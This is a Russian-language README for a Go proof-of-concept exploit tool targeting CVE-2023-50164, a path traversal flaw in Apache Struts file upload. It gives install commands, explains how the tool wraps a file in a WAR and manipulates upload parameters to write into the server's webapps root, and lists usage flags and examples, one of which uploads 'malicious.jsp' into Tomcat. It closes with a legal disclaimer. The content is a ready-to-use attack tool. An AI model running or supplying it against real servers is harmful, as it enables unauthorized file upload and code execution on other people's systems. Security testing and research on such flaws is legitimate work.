
Доказательство концепции для обхода пути в Apache Struts ("CVE-2023-50164")
Установка
Для установки этого инструмента у вас должна быть установлена и настроена версия Go не ниже 1.20.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
В качестве альтернативы вы можете скомпилировать его самостоятельно: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
Как это работает?
Этот инструмент работает через серию этапов для выполнения эксплойта.
Например, если вы хотите загрузить файл /path/to/file-you-want-to-upload.txt, инструмент действует следующим образом:
Он сжимает указанный файл в WAR-файл, создавая file-you-want-to-upload.war в временной директории,
специфичной для ОС. Таким образом, инструмент предполагает, что путь к файлу контекста сервлета —
/file-you-want-to-upload/file-you-want-to-upload.txt.
Он проверяет, существует ли уже путь к файлу контекста сервлета. Если да, инструмент немедленно возвращает ошибку.
Инструмент пытается загрузить WAR-файл, манипулируя параметрами загрузки файла.
Затем он повторно проверяет доступность (код состояния 200) пути к файлу контекста сервлета, что указывает на успешную загрузку файла.
Использование
$ cve-2023-50164-poc -h
PoC для CVE-2023-50164
--
автор @dwisiswant0
Использование:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Параметры:
-u, --url <URL> Укажите URL конечной точки загрузки
-f, --file <FILE> Укажите файл полезной нагрузки для загрузки
-t, --traverse-seq <N> Генерировать последовательности обхода N раз (по умолчанию: "0")
-p, --path <PATH> Укажите путь к доступной корневой директории
-w, -win, --windows Преобразует символы слеша ("/") в разделитель Windows ("\")
Пример:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
Примечания
Бинарный файл jar должен присутствовать в $PATH вашей системы.
Целевой путь должен быть доступным корневым путем, например /var/lib/jetty/webapps для Jetty или
/opt/tomcat/webapps для Apache Tomcat.
Количество последовательностей обхода по умолчанию равно нулю ("0"), вы можете ввести последовательности
обхода вручную для значения флага -p/--path, например /../webapps или /../../opt/tomcat/webapps.
Последовательности обхода будут различаться для каждого сервлета.
Флаг -w/-win/--windows используется исключительно когда сервлет работает на сервере Windows.
Отказ от ответственности
Использование этого инструмента для атак на цели без взаимного согласия незаконно. Пользователи должны соблюдать местные, государственные и федеральные законы. Разработчик ("dwisiswant0"/"Dwi Siswanto") не несет ответственности за любой ущерб, вызванный неправильным использованием инструмента.
Лицензия
Этот инструмент лицензирован под WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE). См. COPYING.